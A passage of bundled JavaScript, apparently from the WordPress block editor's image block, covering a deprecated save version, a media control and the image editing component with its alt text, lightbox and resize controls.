      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale,
            width,
            height
          },
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              "caption"
            ),
            tagName: "figcaption",
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v82 = {
    attributes: {
      align: {
        type: "string"
      },
      behaviors: {
        type: "object"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src",
        role: "content"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: "",
        role: "content"
      },
      caption: {
        type: "string",
        source: "html",
        selector: "figcaption",
        role: "content"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title",
        role: "content"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number",
        role: "content"
      },
      width: {
        type: "string"
      },
      height: {
        type: "string"
      },
      aspectRatio: {
        type: "string"
      },
      scale: {
        type: "string"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate({ width, height, ...attributes2 }) {
      if (!attributes2.behaviors?.lightbox) {
        return attributes2;
      }
      const {
        behaviors: {
          lightbox: { enabled }
        }
      } = attributes2;
      const newAttributes = {
        ...attributes2,
        lightbox: {
          enabled
        }
      };
      delete newAttributes.behaviors;
      return newAttributes;
    },
    isEligible(attributes2) {
      return !!attributes2.behaviors;
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        "is-resized": width || height,
        "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale,
            width,
            height
          },
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              "caption"
            ),
            tagName: "figcaption",
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var deprecated_default22 = [v82, v73, v64, v54, v44, v35, v210, v119];

  // packages/block-library/build-module/image/edit.mjs
  var import_blob12 = __toESM(require_blob(), 1);
  var import_blocks38 = __toESM(require_blocks(), 1);
  var import_components57 = __toESM(require_components(), 1);
  var import_data48 = __toESM(require_data(), 1);
  var import_block_editor113 = __toESM(require_block_editor(), 1);
  var import_element45 = __toESM(require_element(), 1);
  var import_i18n94 = __toESM(require_i18n(), 1);
  var import_notices8 = __toESM(require_notices(), 1);
  var import_compose24 = __toESM(require_compose(), 1);
  var import_url10 = __toESM(require_url(), 1);
  var import_upload_media = __toESM(require_upload_media(), 1);

  // packages/block-library/build-module/image/image.mjs
  var import_blob11 = __toESM(require_blob(), 1);
  var import_components56 = __toESM(require_components(), 1);
  var import_compose22 = __toESM(require_compose(), 1);
  var import_data47 = __toESM(require_data(), 1);
  var import_block_editor112 = __toESM(require_block_editor(), 1);
  var import_element43 = __toESM(require_element(), 1);
  var import_i18n93 = __toESM(require_i18n(), 1);
  var import_url9 = __toESM(require_url(), 1);
  var import_blocks37 = __toESM(require_blocks(), 1);
  var import_notices7 = __toESM(require_notices(), 1);
  var import_core_data23 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/utils/media-control.mjs
  var import_components55 = __toESM(require_components(), 1);
  var import_block_editor111 = __toESM(require_block_editor(), 1);
  var import_i18n92 = __toESM(require_i18n(), 1);
  var import_data46 = __toESM(require_data(), 1);
  var import_jsx_runtime277 = __toESM(require_jsx_runtime(), 1);
  function MediaControlPreview({
    url,
    alt,
    filename,
    itemGroupProps,
    className
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.__experimentalItemGroup, { ...itemGroupProps, as: "span", children: /* @__PURE__ */ (0, import_jsx_runtime277.jsxs)(import_components55.__experimentalHStack, { justify: "flex-start", as: "span", children: [
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)("img", { src: url, alt }),
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.FlexItem, { as: "span", children: /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.__experimentalTruncate, { numberOfLines: 1, className, children: filename }) })
    ] }) });
  }
  function MediaControl({
    mediaId,
    mediaUrl,
    alt = "",
    filename,
    allowedTypes,
    onSelect,
    onSelectURL,
    onError,
    onReset,
    isUploading = false,
    emptyLabel = (0, import_i18n92.__)("Add media")
  }) {
    const { getSettings: getSettings2 } = (0, import_data46.useSelect)(import_block_editor111.store);
    const onFilesDrop = (filesList) => {
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      mediaUpload({
        allowedTypes,
        filesList,
        onFileChange([media]) {
          onSelect(media);
        },
        onError,
        multiple: false
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime277.jsxs)("div", { className: "block-library-utils__media-control", children: [
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
        import_block_editor111.MediaReplaceFlow,
        {
          mediaId,
          mediaURL: mediaUrl,
          allowedTypes,
          onSelect,
          onSelectURL,
          onError,
          name: mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
            MediaControlPreview,
            {
              url: mediaUrl,
              alt,
              filename
            }
          ) : emptyLabel,
          renderToggle: (props) => /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.Button, { ...props, __next40pxDefaultSize: true, children: isUploading ? /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.Spinner, {}) : props.children }),
          onReset
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.DropZone, { onFilesDrop })
    ] });
  }

  // packages/block-library/build-module/image/image.mjs
  var import_jsx_runtime278 = __toESM(require_jsx_runtime(), 1);
  var { DimensionsTool, ResolutionTool: ResolutionTool2 } = unlock(import_block_editor112.privateApis);
  var scaleOptions = [
    {
      value: "cover",
      label: (0, import_i18n93._x)("Cover", "Scale option for dimensions control"),
      help: (0, import_i18n93.__)("Image covers the space evenly.")
    },
    {
      value: "contain",
      label: (0, import_i18n93._x)("Contain", "Scale option for dimensions control"),
      help: (0, import_i18n93.__)("Image is contained without distortion.")
    }
  ];
  var WRITEMODE_POPOVER_PROPS = {
    placement: "bottom-start"
  };
  var ImageWrapper = ({ href, children }) => {
    if (!href) {
      return children;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      "a",
      {
        href,
        onClick: (event) => event.preventDefault(),
        "aria-disabled": true,
        style: {
          // When the Image block is linked,
          // it's wrapped with a disabled <a /> tag.
          // Restore cursor style so it doesn't appear 'clickable'
          // and remove pointer events. Safari needs the display property.
          pointerEvents: "none",
          cursor: "default",
          display: "inline"
        },
        children
      }
    );
  };
  function ContentOnlyControls({
    attributes: attributes2,
    setAttributes,
    lockAltControls,
    lockAltControlsMessage,
    lockTitleControls,
    lockTitleControlsMessage
  }) {
    const [popoverAnchor, setPopoverAnchor] = (0, import_element43.useState)(null);
    const [isAltDialogOpen, setIsAltDialogOpen] = (0, import_element43.useState)(false);
    const [isTitleDialogOpen, setIsTitleDialogOpen] = (0, import_element43.useState)(false);
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ToolbarItem, { ref: setPopoverAnchor, children: (toggleProps) => /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.DropdownMenu,
        {
          icon: chevron_down_default,
          label: (0, import_i18n93.__)("More"),
          toggleProps: {
            ...toggleProps,
            description: (0, import_i18n93.__)("Displays more controls.")
          },
          popoverProps: WRITEMODE_POPOVER_PROPS,
          children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.MenuItem,
              {
                onClick: () => {
                  setIsAltDialogOpen(true);
                  onClose();
                },
                "aria-haspopup": "dialog",
                children: (0, import_i18n93._x)(
                  "Alternative text",
                  "Alternative text for an image. Block toolbar label, a low character count is preferred."
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.MenuItem,
              {
                onClick: () => {
                  setIsTitleDialogOpen(true);
                  onClose();
                },
                "aria-haspopup": "dialog",
                children: (0, import_i18n93.__)("Title text")
              }
            )
          ] })
        }
      ) }),
      isAltDialogOpen && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Popover,
        {
          placement: "bottom-start",
          anchor: popoverAnchor,
          onClose: () => setIsAltDialogOpen(false),
          offset: 13,
          variant: "toolbar",
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)("div", { className: "wp-block-image__toolbar_content_textarea__container", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            import_components56.TextareaControl,
            {
              className: "wp-block-image__toolbar_content_textarea",
              label: (0, import_i18n93.__)("Alternative text"),
              value: attributes2.alt || "",
              onChange: (value) => setAttributes({ alt: value }),
              disabled: lockAltControls,
              help: lockAltControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.ExternalLink,
                  {
                    href: (
                      // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                      (0, import_i18n93.__)(
                        "https://www.w3.org/WAI/tutorials/images/decision-tree/"
                      )
                    ),
                    children: (0, import_i18n93.__)(
                      "Describe the purpose of the image."
                    )
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime278.jsx)("br", {}),
                (0, import_i18n93.__)("Leave empty if decorative.")
              ] })
            }
          ) })
        }
      ),
      isTitleDialogOpen && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Popover,
        {
          placement: "bottom-start",
          anchor: popoverAnchor,
          onClose: () => setIsTitleDialogOpen(false),
          offset: 13,
          variant: "toolbar",
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)("div", { className: "wp-block-image__toolbar_content_textarea__container", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            import_components56.TextControl,
            {
              __next40pxDefaultSize: true,
              className: "wp-block-image__toolbar_content_textarea",
              label: (0, import_i18n93.__)("Title attribute"),
              value: attributes2.title || "",
              onChange: (value) => setAttributes({
                title: value
              }),
              disabled: lockTitleControls,
              help: lockTitleControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockTitleControlsMessage }) : (0, import_element43.createInterpolateElement)(
                (0, import_i18n93.__)(
                  "Describe the role of this image on the page. <a>(Note: many devices and browsers do not display this text.)</a>"
                ),
                {
                  a: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ExternalLink, { href: "https://www.w3.org/TR/html52/dom.html#the-title-attribute" })
                }
              )
            }
          ) })
        }
      )
    ] });
  }
  function Image2({
    temporaryURL,
    isSideloading,
    attributes: attributes2,
    setAttributes,
    isSingleSelected,
    insertBlocksAfter,
    onReplace,
    onSelectImage,
    onSelectURL,
    onUploadError,
    context,
    clientId,
    blockEditingMode,
    parentLayoutType,
    maxContentWidth
  }) {
    const {
      url = "",
      alt,
      align,
      id,
      href,
      rel,
      linkClass,
      linkDestination,
      title,
      width,
      height,
      aspectRatio,
      scale,
      focalPoint,
      linkTarget,
      sizeSlug,
      lightbox,
      metadata
    } = attributes2;
    const [imageElement, setImageElement] = (0, import_element43.useState)();
    const [resizeDelta, setResizeDelta] = (0, import_element43.useState)(null);
    const [pixelSize, setPixelSize] = (0, import_element43.useState)({});
    const [offsetTop, setOffsetTop] = (0, import_element43.useState)(0);
    const setResizeObserved = (0, import_compose22.useResizeObserver)(([entry]) => {
      if (!resizeDelta) {
        const [box] = entry.borderBoxSize;
        setPixelSize({ width: box.inlineSize, height: box.blockSize });
      }
      setOffsetTop(entry.target.offsetTop);
    });
    const effectResizeableBoxPlacement = (0, import_element43.useCallback)(() => {
      setOffsetTop(imageElement?.offsetTop ?? 0);
    }, [imageElement]);
    const setRefs = (0, import_compose22.useMergeRefs)([setImageElement, setResizeObserved]);
    const { allowResize = true } = context;
    const { image, canUserEdit } = (0, import_data47.useSelect)(
      (select9) => {
        const imageRecord = id && isSingleSelected ? select9(import_core_data23.store).getEntityRecord(
          "postType",
          "attachment",
          id,
          { context: "view" }
        ) : null;
        let canEdit = false;
        if (id && isSingleSelected && window?.__experimentalMediaEditor) {
          const { getEntityRecordPermissions } = unlock(
            select9(import_core_data23.store)
          );
          const permissions = getEntityRecordPermissions(
            "postType",
            "attachment",
            id
          );
          canEdit = permissions?.update || false;
        }
        return {
          image: imageRecord,
          canUserEdit: canEdit
        };
      },
      [id, isSingleSelected]
    );
    const { canInsertCover, imageEditing, imageSizes, maxWidth } = (0, import_data47.useSelect)(
      (select9) => {
        const { getBlockRootClientId, canInsertBlockType, getSettings: getSettings22 } = select9(import_block_editor112.store);
        const rootClientId = getBlockRootClientId(clientId);
        const settings122 = getSettings22();
        return {
          imageEditing: settings122.imageEditing,
          imageSizes: settings122.imageSizes,
          maxWidth: settings122.maxWidth,
          canInsertCover: canInsertBlockType(
            "core/cover",
            rootClientId
          )
        };
      },
      [clientId]
    );
    const { getBlock, getSettings: getSettings2 } = (0, import_data47.useSelect)(import_block_editor112.store);
    const onNavigateToEntityRecord = getSettings2().onNavigateToEntityRecord;
    const { replaceBlocks, toggleSelection } = (0, import_data47.useDispatch)(import_block_editor112.store);
    const { createErrorNotice, createSuccessNotice } = (0, import_data47.useDispatch)(import_notices7.store);
    const { editEntityRecord } = (0, import_data47.useDispatch)(import_core_data23.store);
    const isLargeViewport = (0, import_compose22.useViewportMatch)("medium");
    const isWideAligned = ["wide", "full"].includes(align);
    const [
      { loadedNaturalWidth, loadedNaturalHeight },
      setLoadedNaturalSize
    ] = (0, import_element43.useState)({});
    const [isEditingImage, setIsEditingImage] = (0, import_element43.useState)(false);
    const [externalBlob, setExternalBlob] = (0, import_element43.useState)();
    const [hasImageErrored, setHasImageErrored] = (0, import_element43.useState)(false);
    const hasNonContentControls = blockEditingMode === "default";
    const isContentOnlyMode = blockEditingMode === "contentOnly";
    const showDimensionsControls = allowResize && hasNonContentControls;
    const isResizable = allowResize && hasNonContentControls && !isWideAligned && isLargeViewport;
    const imageSizeOptions = imageSizes.filter(
      ({ slug }) => image?.media_details?.sizes?.[slug]?.source_url
    ).map(({ name: name123, slug }) => ({ value: slug, label: name123 }));
    (0, import_element43.useEffect)(() => {
      if (!isExternalImage(id, url) || !isSingleSelected || !getSettings2().mediaUpload) {
        setExternalBlob();
        return;
      }
      if (externalBlob) {
        return;
      }
      window.fetch(url.includes("?") ? url : url + "?").then((response) => response.blob()).then((blob) => setExternalBlob(blob)).catch(() => {
      });
    }, [id, url, isSingleSelected, externalBlob, getSettings2]);
    const { naturalWidth, naturalHeight } = (0, import_element43.useMemo)(() => {
      return {
        naturalWidth: imageElement?.naturalWidth || loadedNaturalWidth || void 0,
        naturalHeight: imageElement?.naturalHeight || loadedNaturalHeight || void 0
      };
    }, [loadedNaturalWidth, loadedNaturalHeight, imageElement?.complete]);
    function onImageError() {
      setHasImageErrored(true);
      const embedBlock = createUpgradedEmbedBlock({ attributes: { url } });
      if (void 0 !== embedBlock) {
        onReplace(embedBlock);
      }
    }
    function onImageLoad(event) {
      setHasImageErrored(false);
      setLoadedNaturalSize({
        loadedNaturalWidth: event.target?.naturalWidth,
        loadedNaturalHeight: event.target?.naturalHeight
      });
    }
    function onSetHref(props) {
      setAttributes(props);
    }
    function onSetLightbox(enable) {
      if (enable && !lightboxSetting?.enabled) {
        setAttributes({
          lightbox: { enabled: true }
        });
      } else if (!enable && lightboxSetting?.enabled) {
        setAttributes({
          lightbox: { enabled: false }
        });
      } else {
        setAttributes({
          lightbox: void 0
        });
      }
    }
    function resetLightbox() {
      if (lightboxSetting?.enabled && lightboxSetting?.allowEditing) {
        setAttributes({
          lightbox: { enabled: false }
        });
      } else {
        setAttributes({
          lightbox: void 0
        });
      }
    }
    function onSetTitle(value) {
      setAttributes({ title: value });
    }
    function updateAlt(newAlt) {
      setAttributes({ alt: newAlt });
    }
    const imperativeFocalPointPreview = (value) => {
      if (imageElement) {
        imageElement.style.setProperty(
          "object-position",
          mediaPosition2(value)
        );
      }
    };
    function updateImage(newSizeSlug) {
      const newUrl = image?.media_details?.sizes?.[newSizeSlug]?.source_url;
      if (!newUrl) {
        return null;
      }
      setAttributes({
        url: newUrl,
        sizeSlug: newSizeSlug
      });
    }
    function uploadExternal() {
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      mediaUpload({
        filesList: [externalBlob],
        onFileChange([img2]) {
          onSelectImage(img2);
          if ((0, import_blob11.isBlobURL)(img2.url)) {
            return;
          }
          setExternalBlob();
          createSuccessNotice((0, import_i18n93.__)("Image uploaded."), {
            type: "snackbar"
          });
        },
        allowedTypes: ALLOWED_MEDIA_TYPES3,
        onError(message) {
          createErrorNotice(message, { type: "snackbar" });
        }
      });
    }
    (0, import_element43.useEffect)(() => {
      if (!isSingleSelected) {
        setIsEditingImage(false);
      }
    }, [isSingleSelected]);
    const canEditImage = id && naturalWidth && naturalHeight && imageEditing;
    const allowCrop = isSingleSelected && canEditImage && !isEditingImage && !isContentOnlyMode;
    function switchToCover() {
      replaceBlocks(
        clientId,
        (0, import_blocks37.switchToBlockType)(getBlock(clientId), "core/cover")
      );
    }
    const dimensionsUnitsOptions = (0, import_components56.__experimentalUseCustomUnits)({
      availableUnits: ["px"]
    });
    const [lightboxSetting] = (0, import_block_editor112.useSettings)("lightbox");
    const showLightboxSetting = (
      // If a block-level override is set, we should give users the option to
      // remove that override, even if the lightbox UI is disabled in the settings.
      !!lightbox && lightbox?.enabled !== lightboxSetting?.enabled || lightboxSetting?.allowEditing
    );
    const lightboxChecked = !!lightbox?.enabled || !lightbox && !!lightboxSetting?.enabled;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const dimensionsControl = showDimensionsControls && (SIZED_LAYOUTS.includes(parentLayoutType) ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      DimensionsTool,
      {
        panelId: clientId,
        value: { aspectRatio },
        onChange: ({ aspectRatio: newAspectRatio }) => {
          setAttributes({
            aspectRatio: newAspectRatio,
            scale: "cover"
          });
        },
        defaultAspectRatio: "auto",
        tools: ["aspectRatio"]
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      DimensionsTool,
      {
        panelId: clientId,
        value: { width, height, scale, aspectRatio },
        onChange: ({
          width: newWidth,
          height: newHeight,
          scale: newScale,
          aspectRatio: newAspectRatio
        }) => {
          setAttributes({
            // CSS includes `height: auto`, but we need
            // `width: auto` to fix the aspect ratio when
            // only height is set due to the width and
            // height attributes set via the server.
            width: !newWidth && newHeight ? "auto" : newWidth,
            height: newHeight,
            scale: newScale,
            aspectRatio: newAspectRatio
          });
        },
        defaultScale: "cover",
        defaultAspectRatio: "auto",
        scaleOptions,
        unitsOptions: dimensionsUnitsOptions,
        tools: isWideAligned ? ["aspectRatio", "scale"] : ["aspectRatio", "widthHeight", "scale"]
      }
    ));
    const resetSettings = () => {
      setAttributes({
        lightbox: void 0
      });
      updateImage(DEFAULT_MEDIA_SIZE_SLUG3);
    };
    const arePatternOverridesEnabled = metadata?.bindings?.__default?.source === "core/pattern-overrides";
    const {
      lockUrlControls = false,
      lockHrefControls = false,
      lockAltControls = false,
      lockAltControlsMessage,
      lockTitleControls = false,
      lockTitleControlsMessage,
      hideCaptionControls = false
    } = (0, import_data47.useSelect)(
      (select9) => {
        if (!isSingleSelected) {
          return {};
        }
        const {
          url: urlBinding,
          alt: altBinding,
          title: titleBinding,
          caption: captionBinding
        } = metadata?.bindings || {};
        const hasParentPattern = !!context["pattern/overrides"];
        const urlBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          urlBinding?.source
        );
        const altBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          altBinding?.source
        );
        const titleBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          titleBinding?.source
        );
        return {
          lockUrlControls: !!urlBinding && !urlBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: urlBinding?.args
          }),
          lockHrefControls: (
            // Disable editing the link of the URL if the image is inside a pattern instance.
            // This is a temporary solution until we support overriding the link on the frontend.
            hasParentPattern || arePatternOverridesEnabled
          ),
          hideCaptionControls: !!captionBinding,
          lockAltControls: !!altBinding && !altBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: altBinding?.args
          }),
          lockAltControlsMessage: altBindingSource?.label ? (0, import_i18n93.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n93.__)("Connected to %s"),
            altBindingSource.label
          ) : (0, import_i18n93.__)("Connected to dynamic data"),
          lockTitleControls: !!titleBinding && !titleBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: titleBinding?.args
          }),
          lockTitleControlsMessage: titleBindingSource?.label ? (0, import_i18n93.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n93.__)("Connected to %s"),
            titleBindingSource.label
          ) : (0, import_i18n93.__)("Connected to dynamic data")
        };
      },
      [
        arePatternOverridesEnabled,
        context,
        isSingleSelected,
        metadata?.bindings
      ]
    );
    const showUrlInput = isSingleSelected && !isEditingImage && !lockHrefControls && !lockUrlControls;
    const showCoverControls = isSingleSelected && canInsertCover && !isContentOnlyMode;
    const showBlockControls = showUrlInput || allowCrop || showCoverControls;
    const mediaReplaceFlow = isSingleSelected && !isEditingImage && !lockUrlControls && // For contentOnly mode, put this button in its own area so it has borders around it.
    /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: isContentOnlyMode ? "inline" : "other", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      import_block_editor112.MediaReplaceFlow,
      {
        mediaId: id,
        mediaURL: url,
        allowedTypes: ALLOWED_MEDIA_TYPES3,
        onSelect: onSelectImage,
        onSelectURL,
        onError: onUploadError,
        name: !url ? (0, import_i18n93.__)("Add image") : (0, import_i18n93.__)("Replace"),
        onReset: () => onSelectImage(void 0),
        variant: "toolbar"
      }
    ) });
    const hasDataFormBlockFields = window?.__experimentalContentOnlyInspectorFields;
    const editMediaButton = window?.__experimentalMediaEditor && id && isSingleSelected && canUserEdit && !isExternalImage(id, url) && !isEditingImage && onNavigateToEntityRecord && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      import_components56.ToolbarButton,
      {
        onClick: () => {
          onNavigateToEntityRecord({
            postId: id,
            postType: "attachment"
          });
        },
        children: (0, import_i18n93.__)("Edit media")
      }
    ) });
    const controls = /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      showBlockControls && /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_block_editor112.BlockControls, { group: "block", children: [
        showUrlInput && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_block_editor112.__experimentalImageURLInputUI,
          {
            url: href || "",
            onChangeUrl: onSetHref,
            linkDestination,
            mediaUrl: image && image.source_url || url,
            mediaLink: image && image.link,
            linkTarget,
            linkClass,
            rel,
            showLightboxSetting,
            lightboxEnabled: lightboxChecked,
            onSetLightbox,
            resetLightbox
          }
        ),
        allowCrop && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_components56.ToolbarButton,
          {
            onClick: () => setIsEditingImage(true),
            icon: crop_default,
            label: (0, import_i18n93.__)("Crop")
          }
        ),
        showCoverControls && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_components56.ToolbarButton,
          {
            icon: overlay_text_default,
            label: (0, import_i18n93.__)("Add text over image"),
            onClick: switchToCover
          }
        )
      ] }),
      isSingleSelected && externalBlob && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.ToolbarButton,
        {
          onClick: uploadExternal,
          icon: upload_default,
          label: (0, import_i18n93.__)("Upload to Media Library")
        }
      ) }) }),
      isContentOnlyMode && // Add some extra controls for content attributes when content only mode is active.
      // With content only mode active, the inspector is hidden, so users need another way
      // to edit these attributes.
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        ContentOnlyControls,
        {
          attributes: attributes2,
          setAttributes,
          lockAltControls,
          lockAltControlsMessage,
          lockTitleControls,
          lockTitleControlsMessage
        }
      ) }),
      !hasDataFormBlockFields && isSingleSelected && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { group: "content", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(
        import_components56.__experimentalToolsPanel,
        {
          label: (0, import_i18n93.__)("Media"),
          resetAll: () => onSelectImage(void 0),
          dropdownMenuProps,
          children: [
            !lockUrlControls && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)("Image"),
                hasValue: () => !!url,
                onDeselect: () => onSelectImage(void 0),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  MediaControl,
                  {
                    mediaId: id,
                    mediaUrl: url,
                    alt,
                    filename: image?.media_details?.sizes?.full?.file || image?.slug || (0, import_url9.getFilename)(url),
                    allowedTypes: ALLOWED_MEDIA_TYPES3,
                    onSelect: onSelectImage,
                    onSelectURL,
                    onError: onUploadError,
                    onReset: () => onSelectImage(void 0),
                    isUploading: !!temporaryURL || isSideloading,
                    emptyLabel: (0, import_i18n93.__)("Add image")
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)("Alternative text"),
                isShownByDefault: true,
                hasValue: () => !!alt,
                onDeselect: () => setAttributes({ alt: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.TextareaControl,
                  {
                    label: (0, import_i18n93.__)("Alternative text"),
                    value: alt || "",
                    onChange: updateAlt,
                    readOnly: lockAltControls,
                    help: lockAltControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
                      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                        import_components56.ExternalLink,
                        {
                          href: (
                            // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                            (0, import_i18n93.__)(
                              "https://www.w3.org/WAI/tutorials/images/decision-tree/"
                            )
                          ),
                          children: (0, import_i18n93.__)(
                            "Describe the purpose of the image."
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)("br", {}),
